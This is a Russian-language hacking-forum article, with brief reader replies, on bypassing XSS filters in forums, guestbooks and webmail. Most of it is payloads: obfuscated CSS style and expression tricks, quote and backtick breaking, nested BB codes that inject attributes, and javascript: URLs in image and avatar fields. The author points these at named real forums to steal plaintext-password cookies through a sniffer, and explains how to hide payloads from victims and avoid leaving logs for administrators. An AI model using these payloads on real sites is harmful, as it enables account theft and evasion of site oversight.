![]() |
XSS крупным планом.
Всем привульки, с Новым Годом ибо Я!
Слушая непрестанное прошение от пользователей античата в моей холодной, скромной аськи написать побольше статей, Я решил все таки так и сделать - написать ещё одну Гениальную статью. Прочитав свои недавно написанные статьи, Я пришёл к выводу, что они были не столько статьи, сколько уже готовые варианты, и мне захотелось написать настоящую статью, описав все более менее подробно, как работают вещи и почему. Пришел Я к этому выводу из-за того, что увидел, что когда Я элементарным языком объясняю и показываю мои Гениальнейшие нахождения, то никто толком ничего и не понимает. Ну понятно почему, ведь сейчас из-за меня пошел ...хлынул лучше скажу народ, который мало что где читал. Эта статья долгая, и почерпать могут из неё как и новички, так и Алгол. Ну начнемс иМхо.... В одной из моих статей, Я с вами рассматривал разновидные варианты обхода фильтров в параметрах атрибута style. Напомним себе материал той статьи, так как этот материал нам еще пригодится. Код HTML:
<html><body><a href=www. style="back\g\r\o\u\nd:\u\r\l\(\javasc\r\i\p\t\:a\le\r\t\(\'\w\j\'\)\)" >wj<a></body></html>Код HTML:
<html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**/'\w\j\'/**/\/**/)/**/\/**/)" >wj<a></body></html>Код HTML:
<html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/)" >wj<a></body></html>Код HTML:
<html><body><a href=www. style=/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html>Код HTML:
<html><body><a href=www. style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html>Код HTML:
<html><body><a href=www. style====/=*=*=/=back\g\r\o\u\nd=/=*=*=/=:=/*=*/\u/*=*/\r/*=*/l/*=*/\(/*=*/\j/*=*/a/*=*/v/*=*/a/*=*/s/*=*/c/*=*/\r/*=*/\i\p/*=*/\t\:/*=*/a/*=*/\l/*=*/e/*=*/\r/*=*/\t/*=*/\(/*=*=/=\=/=*=*/'\w\j\'/*=*=/=\=/=*=*/)/*=*=/=\=/=*=*/) >wj<a></body></html>Как уже поняли, Я показывал новые обходы фильтров в параметре Style. А теперь Я бы хотел объяснить почему это все в параметре style работает, а так же, показать методы обхода фильтров и в самих атрибутах. Ну начнёмс иМхо заново..... До атрибута style, можно поставить иМхо, что угодно... Будет работать и так, Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>И естественно сами пробелы, можно тоже заменить ещё и табуляциями....примерно вот так, Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>Должен ещё добавить, что в середине атрибутов тега можно вписывать - что угодно...к примеру: Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>В языке VbScript, в скобках, можно ТОЛЬКО вставить двойные кавычки, что-бы получить видное для глаз сообщение в коробке алёрта. То есть вот так, Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>Будет работать только вот так: Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>До функции "expression", можно вставить - что угодно. Хоть так, ИЕ по барану: Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>Чуток покажу вам браузеро не зависимые коды, то есть коды, которые работает во всех браузерах. Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body><iframe src=javascript:alert(/wj/) style='display:none;'></body></html>Код HTML:
<html><body>Кратко дам описание, Потому что iframe src после знака равенства настроен на то, чтобы получать источник/адрес, то используя это, мы зададим ему вместо источника - JavaScript. Само слово, "src" сокращенна от английского слова, "source" что в переводе на русский язык означает = Источник. Функция, "eval", сокращенна от Английского слова, "Evaluate", и в переводе с Английского слова на русский, (В нашем случае) означает = "Обрабатывать, обработать". Английское слово, "This", означает в переводе на русский язык = "Это, вот это". А что именно, "это"? В данном случае мы указываем свой собственный атрибут, который мы наименовали wj1, и указали JavaScript`у, чтобы он наш новый атрибут - обработал. Атрибут и его параметр, style=display:none; вписан чтобы спрятать наш код от глаз нашей жертвы, и приведенный код, не имеет браузер зависимость и работает во всех трех популярных браузерах ИЕ, Фаерфокс и Опера. (С лева на права по проценту ихнего использования.) Хочу вернутся чуток к атрибуту style. Как Я уже говорил, до атрибута, "style", можно писать что угодно, лишь бы после него шёл знак равенства. (=) В других словах, совсем не обязательно писать <span style=...> - для его работоспособности. Причем сам атрибут, "style", можно вписывать и с любыми другими атрибутами, а он все равно будет работать. К примеру, возьмем тег ссылки, Код HTML:
<a href=http://www.wj.com>http://www.wj.com</a>Код HTML:
<a href=http://www.wj.com style=background:url(javascript:alert(/wj/))>http://www.wj.com</a>Это все хорошо....но если Я теперь пойду дальше, то те люди которые не имеют знаний - ничего не поймут. Объясню что и как, используя тег ссылки, для краткого объяснения. Код HTML:
<a href=http://www.wj.com>wj1</a>Давайте посмотрим, что случится если мы в параметре атрибута - впишем пробел. Код HTML:
<a href=http://www.wj .com>http://www.wj.com</a>Код HTML:
<a href=http://www.wj .com>http://www.wj.com</a>А есть ли какой нибудь способ, чтобы в параметре атрибута указать пробел или табуляцию, и не сделать все, что идет после пробела и табуляции - атрибутом?... Ответ = Да, есть. Для этого в параметр тега сразу после знака равенства, вставляется одна из двух видов кавычек - одинарная, (') или двойная. (") Чуток отвлекусь и расскажу вам кратко о кавычках.... Легальных, работоспособных кавычек в языке JavaScript - всего две. Одинарная, (') и двойная. (") Многие разработчики браузеров считают, что должна существовать только одна кавычка - двойная. Одинарную многие разработчики браузеров как легальную в языке JavaScript и в других языках - признавать не хотят. (Хоть про JavaScript чуток не в тему, однако не беда если напомню иМхо) Написав наш код через двойные кавычки, Код HTML:
<a href="http://www.wj.com">http://www.wj.com</a>Код HTML:
<a href="http://www.wj .com">http://www.wj.com</a>Код HTML:
<a href="http://www.wj .com">http://www.wj.com</a>Код HTML:
<a href="http://www.wj'.com">http://www.wj.com</a>Код HTML:
<a href="http://www.wj <script>alert('wj')</script>.com">http://www.wj.com</a>А что будет, если мы в наш параметр, который теперь заключен в двойные кавычки, впишем ещё одну двойную кавычку по середине?.... Код HTML:
<a href="http://www.wj".com">http://www.wj.com</a>Ещё один момент, когда параметр заключен в кавычки, то не обязательно после кавычек вписывать пробел или табуляцию, чтобы иметь рабочий атрибут. То есть вполне легально написать так: Код HTML:
<html><body>Теперь давайте рассмотрим альтернативу тегов, которые обычно называются ББ кодами и используются в e-mail`ах, в форумах, в чатах, в гостевых книгах и в других местах - как альтернативы. В целях безопасности а главное удобности, люди пришли к выводу, что не обязательно пользователю вписывать Код HTML:
<a href="http://www.wj.com">http://www.wj.com</a>Код HTML:
[url=http://www.wj.com]http://www.wj.com[/url]Код HTML:
<a href="http://www.wj.com">http://www.wj.com</a>Код HTML:
<a href="http://www.wj.com">http://www.wj.com</a>Код HTML:
[url=http://www.wj.com]http://www.wj.com[/url]При этом легко понять, что если мы впишем в наши ББ коды двойную кавычку, Код HTML:
[url=http://www.wj".com]http://www.wj.com[/url]Код HTML:
<a href="http://www.wj".com">http://www.wj.com</a>То есть сейчас почти везде, во всех форумах, чатах и гостевых книгах, написав: Код HTML:
[url=http://www.wj".com]http://www.wj.com[/url]Код HTML:
<a href="http://www.wjFILTERED.com">http://www.wj.com</a>А что если двойная кавычка НЕ отфильтрировалась....что вписывать тогда, чтобы совершить атаку? Есть такая вещь, по названию "Обратный Апостроф". (`) Он не является ограничителем строк в таких языках как JavaScript, VbScript, Jscript, CSS, и так далее, однако он как раз таки является ограничителем строк, в языках HTML и XHTML, но только в браузере ИЕ. (Среди Оперы, Фаерфокс и ИЕ,) Короче браузер ИЕ, признает одинарную кавычку, (') двойную кавычку (") и обратный апостроф (`) - как ограничителями строк в параметрах атрибутов только в языках HTML и XHTML. Другие браузера как Опера и Фаерфокс - признают только одинарную и двойную кавычку в языках HTML и XHTML, как границами параметров. Как все уже знаем, браузер ИЕ, может убирать не смертельные ошибки программиста....приведу несколько примеров: Код HTML:
<img src="java script:alert(/wj/)">Пишем вот так в доказательство вам: Код HTML:
<img src="javascript:alert( /wj/ )">Код HTML:
<img src="javascript:alert(/ wj /)">Код HTML:
<img src="javascript:alert(/ /)">Код HTML:
<img src="javascript:alert(//)">Код HTML:
<img src="javascript:alert(/ /)">Код HTML:
<img src="javascript:alert(//)">Являются ли табуляции в этих случаях ошибками? Да! Убирают ли другие браузеры эти ошибки как это делает браузер ИЕ? лоооол Да! Хоть другие браузера как Фаерфокс и Опера этому менее и научены, (ИЕ браузер делает это лучших всех остальных браузеров,) но Фаерфокс и Опера работают по такому же принципу. И это совсем не значит, что ИЕ является из-за этого "хуже" чем Фаерфокс или Опера или другие браузеры. Просто из-за того, что Микрасофт хотел, чтобы его браузер был бы самым распространенным по использованию, Микрасофт именно по этой причине и создал ИЕ так - как он собственно и создан. И речь совсем не идёт о глюках или ошибках ИЕ, а вообще в каком браузере их нет? И кстати в плане того, чтобы ИЕ стал наибольше использован, то в этом плане, Микрасофт свою цель - достиг. Фаерфокс и Опера однако, придерживаются более жёсткой системе и менее научены угадывать или убирать ошибки программистов во время обрабатывания определенного языка. А теперь мне придется закончить писать и ответить на свою статью, потому что статью у меня получилась очень долгая, а лимит здесь на форуме состоит из 20000 символов. |
Продолжение
А теперь продолжим нашу статью....
Вписываем следующий код, после того, как нам удалось выйти из параметра атрибута и создать наш собственный атрибут. Код HTML:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Которые ИЕ воспринимает как ограничителями параметров. И конечно то же самое, можно и написать с одинарной кавычкой. (') Цитата:
Цитата:
Ответ = Конечно проще! Но проблема в том, что в ББ кодах, ключевые слова как JavaScript и другие, очень часто фильтруется...а в большинстве случаев за пределами ББ кодов - этой фильтрации нет. Так как обратный апостроф в параметрах является ограничителем в HTML и XHTML только в браузере ИЕ, то в браузере Фаерфокс и Опера, будет выглядеть абракадабра, которая нам сможет привлечь не нужное внимание. Для этого можно написать код вот так и решить эту проблему. Цитата:
Теоретически = да, это так...ЕСЛИ все кавычки отфильтрованы. О чем Я? О том, что если параметр ББ кода заключен в двойные кавычки а сама двойная кавычка которая нужна, чтобы этот параметр своевольно закрыть; чтобы вписывать после этого заключенного параметра в двойные кавычки свой собственный атрибут,.....то это ещё не беда. Ведь можно использовать двойные кавычки других ББ кодов, которые заключают параметры этих ББ кодов в кавычки, и закрывать первый параметр определенного кода, кавычками второго параметра, который для безопасности - заключен в кавычки. Не поняли??? Сейчас поймете! В ББ годах, есть два способа писать ссылку...вообще то есть ещё и третий способ, который работает когда на форуме Magic Links поставлены на "ON". Если напишем на форуме Цитата:
Но вернемся.. Вариант один: Код HTML:
[url=http://www.wj.com]http://www.wj.com[/url]И вариант два, Код HTML:
[url]http://www.wj.com[/url]Код HTML:
<a href="http://www.wj.com">http://www.wj.com</a>Цитата:
Цитата:
Можно вписывать, что угодно, не изменяя тем самым параметр атрибута... Код HTML:
<a href="http://www.wj.com">что угодно</a>Код HTML:
<a href="http://www.wj.com"></a>Вернемся к нашей теме... Что будет, если кавычкой которая начинает определенный параметр ББ кода, что будет, если мы ей закроем параметр другого ББ кода примерно вот так: Код HTML:
[url=http://www.wj1[url]http://www.wj2.com[/url].com]http://www.wj3.com[/url]Код HTML:
<a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a>Код HTML:
<a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a>Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Код HTML:
[url=http://www.wj1[url]http://www.wj2=.com[/url].com]http://www.wj3.com[/url]Код HTML:
<a href="http://www.wj1<a href="http://www.wj2=.com">http://www.wj2=.com</a>.com">http://www.wj3.com</a>Добавляем теперь слеш (/) перед нашим атрибутом http://www.wj2 а после слеша, напишем атрибут, "style", и знак равенства. Код HTML:
[url=http://www.wj1[url]http://www.wj2/style='background:url(javascript:alert(/wj/))'.com[/url].com]http://www.wj3.com[/url]Код HTML:
<a href="http://www.wj1<a href="http://www.wj2/style='background:url(javascript:alert(/wj/))'.com">http://www.wj2/style='background:url(javascript:alert(/wj/))'.com</a>.com">http://www.wj3.com</a>А теперь для разнообразия, отдыха и просто потому что это интересно читать - вставлю маленькую историю. Когда Я проводил дискуссию с моим элитным другом JazzzSummerMan, который первым был кто был удостоен прочитать сырую статью века, то разговор зашёл о слешах, которые вставлены по середине атрибутов. С его разрешением, приведу часть лога из наших асек, чтобы такое мнение больше не поднималось: Цитата:
Ну так вот, подумав о нашем разговоре где мы разговаривали о статье Алгола и zFailure`a, http://www.antichat.ru/crackchat/HTML/ Я заметил, что Я описывал чуток другое.. Код HTML:
<image/src="1.png"/alt="Подсказка"/border="0">Обратим внимание на image/src что мы тут видим? Мы видим, что братскии так скажем атрибуты, могут быть разделены слешом, или пробелом. Я же хотел показать, что сам атрибут style не нуждается в этом и может работать сам по себе вне зависимости - что идет до него. То есть ему совсем по барану если ДАЖЕ атрибут, который до него разделен слешом или пробелом - правильный или не правильный. Все, что идет ниже в качестве примера, для ИЕ, как то до Питерской лампочки...код все равно будет работать: Код HTML:
<image style=background:url(javascript:alert(/wj/))>Код HTML:
<image src/style=background:url(javascript:alert(/wj/))>Цитата:
Этого объяснения в статье Algol`a и zFailure`a - нет. Более того, на всем античате этого тоже нет, так как это мне показал мой хороший друг xSpider, которого античат бацнул толком из-за того, что были подозрения что Я - это он. Чуток отдохнули? За работу! Читаем дальше! Если вы взломщики или просто совестные люди, которые хотели бы защитить свой форум, гостевую книгу или чат от атак XSS бессовестных взломщиков, то не нужно это делать как на http://forum.web-hack.ru... Цитата:
Выкладываю вам все мои комбинации ОСНОВНЫХ тегов, так как далее идущие теги после основных тегов, в основном исключительно-действующие только для определенной версии. (То есть сам-описные) Если ни одна из этих моих комбинаций не работает, то можете спать спокойно. Ваш форум, чат или гостевая книга - хорошо защищены. Я один умнее ВСЕХ писателей фильтров, потому что писать фильтры, может только тот человек, который понимает как их обходить. Писатели движков форумов, чатов и гостевых книг - не имеют РЕАЛЬНОГО опыта который есть у меня. У них одни теории иМхо, а вообще Я Гения, вы это уже знаете. Лучше всего, если вы что то ломаете, то смотреть результат в пред-просмотре сообщения/приватного сообщения, и желательно через браузер, "Firefox", так как только в этом браузере, встроена опция подсветника синтаксиса, которую если вы хотите, то можете отключить, ну допустим вот так: Откройте браузер Фаерфокс, нажмите на правую кнопку мышки, выберите опцию "просмотр исходного кода страницы" наверху исходного кода страницы, вы увидите "Файл, Правка, Вид" нажмите левой кнопки мышки на значение "Вид" и уберите галку с "Подсветка синтаксиса". Если эта опции включена, то в исходном коде страницы, атрибуты и параметры, будут показываться разными цветами. Пошлите дальше... Если пред-просмотр отсутствует, то советую самому себе посылать приватные сообщения. Это все делается из-за того, чтобы не оставить лог Администрации, так как ДАЖЕ если вы сотрете свою мессагу на форуме или отредактируете её, то лог все ровно останется и видеть этот лог сможет только Администратор. Этому Я научился как говорится..."The hard way" +) Вынужден опять остановится, так как опять лимит на форуме. |
Продолжение...
Для начала, посмотрим какие теги работают, заключены ли параметры тегов в одинарную или двойную кавычку, (Или в обратный апостроф, хотя Я никогда не видел, чтобы параметр был заключен в обратный апостроф.) Если параметр не заключен в кавычку, то взлом считать можно законченным при условии, что мы можем добавить пробел или табуляцию. (Или что то в этом роде, так как есть и другие похожие вещи) " target="_blank">http://<a href="http://[color" targe.../>Код HTML:
[url=http://www.wj.com]http://www.wj.com[/url]Мануально сканим наши теги, на все три вида кавычек. Код HTML:
[url=http://www.wj"'`.com]http://www.wj.com[/url]Код HTML:
[url=http://www.wj.:).com]http://www.wj.com[/url]Не забудьте, что до, и после смаилика, должна стоять точка для его работоспособности. Код HTML:
.:).А почему бы не просканить только одним тегом? Зачем сканить всеми? Потому что теги парсятся не одновременно, а имеют свою последовательность; что резко влияет на результат. Процитирую Алгола, Цитата:
" target="_blank">http://<div style="margin:20px; marg...<br /> color:#000080"><br />.com]http://www.wj.com </div></a>.com]http://www.wj.com [/url] Код HTML:
[url=http://www.wj[email=wj@wj.com]wj@wj.com[/email].com]http://www.wj.com[/url]Код HTML:
[url]http://www.wj.com[/url]Код HTML:
[url]http://www.wj[url=http://www.wj.com]http://www.wj.com[/url].com[/url]Код HTML:
[email=wj@wj.com]wj@wj.com[/email]Код HTML:
[email=wj@wj[url=http://www.wj.com]http://www.wj.com[/email]Код HTML:
[email=wj@wj[url=http://www.wj.com].com]wj@wj.com[/email]Код HTML:
[email=wj@wj[url].com]wj@wj.com[/email]Код HTML:
[email]wj@wj.com[/email]Код HTML:
[email]wj@wj[url=http://www.wj.com]http://www.wj.com[/url].com[/email] |
Продолжение...
Теперь тег
Код HTML:
[img]http://www.wj.gif[/img]Код HTML:
[img]http://www.wj[url=http://www.wj.com]http://www.wj.com[/url].gif[/img]Код HTML:
[font=arial]wj[/font]Код HTML:
[font=arial[url=http://www.wj.com]http://www.wj.com[/url]]wj[/font]Код HTML:
[color=red]wj[/color]Код HTML:
[color=red[url=http://www.wj.com]http://www.wj.com[/url]]wj[/color]Код HTML:
[size=+1]wj[/size]Код HTML:
[size=+1[url=http://www.wj.com]http://www.wj.com[/url]]wj[/size]И конечно если все это не помогло, то читайте дальше. |
Продолжение...
Для тех, кто читает эту статью, посоветую прочесть статьи Алгола для того, чтобы имея уже первоначальные детские знания, можно было читать дальше иМхо.
http://www.antichat.ru/crackchat/index.html Я хочу привлечь ваше внимание на следующие: Цитата:
http://www.antichat.ru/crackchat/HTTP/http.html Цитата:
Где мы остановились иМхо....а да! Ну так вот... Иногда, закрыть параметр одного тега, кавычкой другого параметра тега - невозможно из-за хорошей фильтрации. Что делать тогда? Есть такой вариант, который всегда забывается писателями фильтров из-за не понимания как в состоянии может работать JavaScript а главным образом - как работают браузеры и протоколы. (Они статью Алгола не читали) Для начала расскажу информацию на разброс.. Само слово, "Browser", это существительное, (Noun) что в переводе на русский язык означает - Просматриватель. Произошло это Английское слово нашего браузера, от его глагола, (verb) - To Browse. "To Browse", по Английски означает - Просматривать, просмотреть. Код HTML:
<img src="http://www.wj.gif">"image" Это в переводе с Английского слова на Русский, означает - Изображение. Слово, "source", это переводится как - Источник. После статьи Алгола про протоколы, вам станет ясно, что если в параметр тега ссылки, Код HTML:
<a href="http://www.wj.com">wj</a>Цитата:
Код HTML:
<a href="javascript:alert(/wj/)">wj1</a>Ну это при щелкании пользователя выскочит алёрт....а возможно ли это сделать так, чтобы это было автоматически вы меня спросите? =) Конечно можно Я отвечу =) ...просто тег ссылки, заменим на тег картинки. Код HTML:
<img src="javascript:window.alert(/wj/)">Код HTML:
<img src="javascript:alert(/wj/)">Ну и сейчас хлынут массовые вопросы типа: А почему строка Код HTML:
<img src="javascript:alert(/wj/)">А вообще почему легендарный так сказать код Алгола, Цитата:
Ответ, Работает во всех браузерах, но об этом чуток потом. А вообще кто вам всем сказал такие глупости? Да и вообще Я удивляюсь, что за 5 лет, на античате, НИКТО не додумался дописать Алголовский код ну, ХОТЯ-БЫ для Оперы! Очевидно, что никто ничего не понимал, а просто делал copy/paste. Ну начну с самого начала что-ли тогда..... Сам код, Код HTML:
<img src="javascript:alert(/wj/)">Приведу кусок объяснения JavaScript консоль, которая находится в разделе "Инструменты". (В самом верху браузера) Цитата:
Цитата:
Код HTML:
<a href="javascript:alert(/wj/)">wj</a>Или вот ещё одна цитата, Цитата:
Как её отключить? Описываю по Английски, Идете в раздел, "Tools", потом в раздел, "Advanced", и в самом низу, вы увидите, "Security", теперь вы увидите "Allow active content to run in files on My Computer" поставьте сюда галку. Если она у вас отключена по умолчанию, и вы её включите, то почти все автоматические скрипты теперь будут браузером ИЕ - блокироваться. (Однако только на localhost!) В фаерфоксе как уже сказал, этот метод защиты стоит по умолчании и его даже отключить нельзя. А теперь продолжим нашу статью. Уже понятно, что если в ББ кодах картинки тега, вписать следующие: Код HTML:
[img]javascript:alert(/wj/).gif[/img]Код HTML:
<img src="javascript:alert(/wj/)">То есть, если мы на хорошо фильтрующем форуме, в ББ код картинки засунем следующий материал, Код HTML:
[img]javascript:alert(/wj/).gif[/img]То он обработает это вот так: Код HTML:
<img src="http://javascript:alert(/wj/).gif">Но некоторые фильтры вместо того, чтобы просто добавить http:// перед любым введением динамического материала пользователя, просто фильтруют слово JavaScript заклиниваясь на нем....они просто не понимают, что работает, почему что то работает и как что то работает вот и все. В итоге лечат как называется - в слепую. О как много значит понимать!!! Ну пойдем-те дальше. Если к примеру, на форуме XXX ввести следующие значение, Код HTML:
[img]javascript:alert(/wj/).gif[/img]Код HTML:
<img src="java/**/script:alert(/wj/)">Код HTML:
<img src="java script:alert(/wj/)">Когда браузер берет значение параметра, то он его до выполнения обрабатывает это мы знаем.....а теперь давайте посмотрим, что будет если перед каждым словом, мы вставим табуляцию. Давайте посмотрим как обработает это браузер. Код HTML:
<img src=" j a v a s c r i p t : a l e r t ( / w j / ) ">Код HTML:
<img src=" j a v a s c r i p t : a l e r t ( / w j / ) ">Код HTML:
javascript:alert(/wj/)Тоже самое происходит и с HTML entities DEC, HEX т.д. Браузер их обрабатывает и расшифровывает их до выполнения параметра. Имея теперь такое новое знание, рассмотрим ещё одну фильтрацию на примере http://forum.Xakep.ru http://forum.gameland.ru и http://forum.xyligan.ru Ведь уже понятно, что совсем не обязательно использовать ББ коды....ведь ещё есть и персональная фотография, и аватара....они будут идти с вами куда бы не бывало и будут преданны вам каким бы хамом вы бы небыли...с кем бы вы не говорили....короче все вас могут бросить, а они с вами - вечно. Идём в наши настройки профиля и указываем адрес в нашу аватару как: Код HTML:
javascript:alert(/wj/)Давайте теперь заглянем в HTML.... (Ctrl+U) Получилось следующие... Код HTML:
<html><body><img src="java:alert(/wj/)"></body></html>ЧТО ЗА БЕСПРЕДЕЛ!? Вы меня спросите....спакуха, Я с вами. А давайте посмотрим, что будет, если буквы javascript мы зашифруем ихними эквилиаторами. Цитата:
Вот такая мы команда Я и мой браузер, Я шифрую, он расшифровывает. +) Как написать сниффер? Цитата:
Причем форумы http://forum.Xakep.ru http://forum.gameland.ru и http://forum.xyligan.ru Прославились тем, что они пассворд в куках пользователей - держат в открытом виде. Теперь куки, а в них и не зашифрованный пароль в открытом виде, будут приходить на публичный античатовский сниффер от всех юзеров кто пользуется браузером ИЕ и Опера, а вам только нужно будет разговаривать с собеседниками у которого браузер ИЕ или Опера - как в чём не бывало. Используйте эту ссылку для шифровки. http://ha.ckers.org/xss.html Эту ссылку, чтобы выучить языки, правда все на Английском. http://www.w3schools.com/ Эту ссылку, http://www.lookuptables.com/ Для просмотра значений ASCII (American Standard Code for Information Interchange) Ну и продолжим нашу статью. Собственно теперь вопрос почему код: Код HTML:
<html><body>Код HTML:
<html><body>Во-первых, если кто не знал, это (В параметре) язык CSS, и следовательно писать надо четко и понятно, так как система ИЕ убирать ошибки программистов, не так уж и разработана в таких браузерах как Фаерфокс и Опера. Я пришел к выводу, что ссылку надо заключать в кавычки. Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>Однако только потому что теперь Алголовский од работает во всех трех браузерах, совсем не означает, что фаерфокс эту атаку не от-блокируют. Для начала, выложу то, что работает в ИЕ и Опере: Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
JavaScript:alert('wj')Код HTML:
JavaScript:alert('wj')Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<script type="text/javascript" src="javascript:alert('wj')"></script>Код HTML:
<html><body>Мне кажется, что ни один имейл не сможет отфильтровать то, что Я вам сегодня дал. Именно по этому Американским солдатам, ЗАПРЕЩЕНО использовать такие ящики как http://www.hotmail.com/ http://mail.yahoo.com/ и http://www.gmail.com/ ...что уже говорить у русских ящиках которые не имеют достаточно финансов, чтобы иметь защиту, ну хотя бы ПОХОЖУЮ иМхо на Америкосовские ящики ИМХО ибо Я Гений. Но продолжим, ибо это вы и так уже знаете. Для начала, поясню кое что для новичков, Это, Код HTML:
<script language="javascript">a=1;while(a>=0){alert(a);a--}</script>Код HTML:
javascript:a=1;while(a>=0){alert(a);a--}Чуток о мылах. Должен заметить, что иногда, проверяется или точнее сказать фильтруется на ящиках только первый параметр тега с его атрибутом...но ведь ещё есть и вспомогающие атрибуты...про них иМхо, часто писатели фильтров - забывают. К примеру: Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>Код HTML:
<html><body>И говорится что цитирую: Цитата:
Код HTML:
<html><body>Код HTML:
<html><body>Если в настройках в ИЕ, запретить active content работать в файлах на нашем компьютере, то в отличие от Фаерфоксовской защиты, которая в Фаерфоксе по умолчанию и изменить ее нельзя, обойти защиту ИЕ, которую нужно отредактировать в настройках - однако никак нельзя. Что есть существенное доказательство, что IE и ЕСТЬ самый защищенный браузер среди его конкурентов у себя на компьютере ) Просто надо правильно уметь им пользоваться. +) В других словах ИЕ, является самым лучшим и самым защищенным браузером на сегодняшний день от атак XSS на localhost. На этом пожалуй и окончу свою Гениальнейшую статью. White Jordan. |
Мдя, статья действительно гениальная... её способны дочитать до конца только гении ))
|
все на что был способен это сохранить, больше неасилил, надо бы почитать ,действительна статья гениальная, блеск
|
хы,статья не плохая,wj респект все не асилил 3-4 экрана пролистал из-за того что не интересно,то есть кусками почитал,уж больно размулевано сильно =)
|
Как всегда гениально, но уж сильно много =)
Сохранил буду понемногу разбираться... |
А статья так, ничего... правда я ещё не читал-)) Уж больно много=)))
Цитата:
|
| Время: 15:05 |